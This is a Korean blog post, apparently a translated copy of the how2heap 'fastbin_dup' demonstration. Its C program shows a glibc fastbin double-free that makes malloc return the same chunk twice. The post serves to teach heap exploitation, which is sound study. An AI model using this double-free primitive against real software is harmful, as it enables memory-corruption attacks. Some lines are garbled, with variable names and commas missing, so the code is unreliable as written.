티스토리 뷰

Pwnable/how2heap

fastbin_dup

xxvd 2018. 11. 18. 16:11
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "이 파일은 fastbins 에서의 double-free 공격을 입증합니다.\n");
 
    fprintf(stderr, "3개의 버퍼를 할당합니다.\n");
    int *= malloc(8);
    int *= malloc(8);
    int *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
 
    fprintf(stderr, "첫번째 것을 free합니다...\n");
    free(a);
 
    fprintf(stderr, "만약 우리가 %p를 다시 free 한다면, %p가 free list의 꼭대기에 있기 때문에 크래시가 날 것입니다.\n", a, a);
    // free(a);
 
    fprintf(stderr, "그러므로, 대신 %p를 free 하겠습니다.\n", b);
    free(b);
 
    fprintf(stderr, "이제, 우린 %p를 다시 free 할 수 있습니다, 이것이 free list의 꼭대기에 있지 않기 때문입니다.\n", a);
    free(a);
 
    fprintf(stderr, "이제 free list는 [ %p, %p, %p ] 입니다. 만약 우리가 malloc을 3번 한다면, 우리는 %p를 두 번 할 수 있습니다!\n", a, b, a, a);
    fprintf(stderr, "1st malloc(8): %p\n"malloc(8));
    fprintf(stderr, "2nd malloc(8): %p\n"malloc(8));
    fprintf(stderr, "3rd malloc(8): %p\n"malloc(8));
}
cs

'Pwnable > how2heap' 카테고리의 다른 글

fastbin_dup_into_stack  (0) 2018.11.18
first_fit  (0) 2018.09.17
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함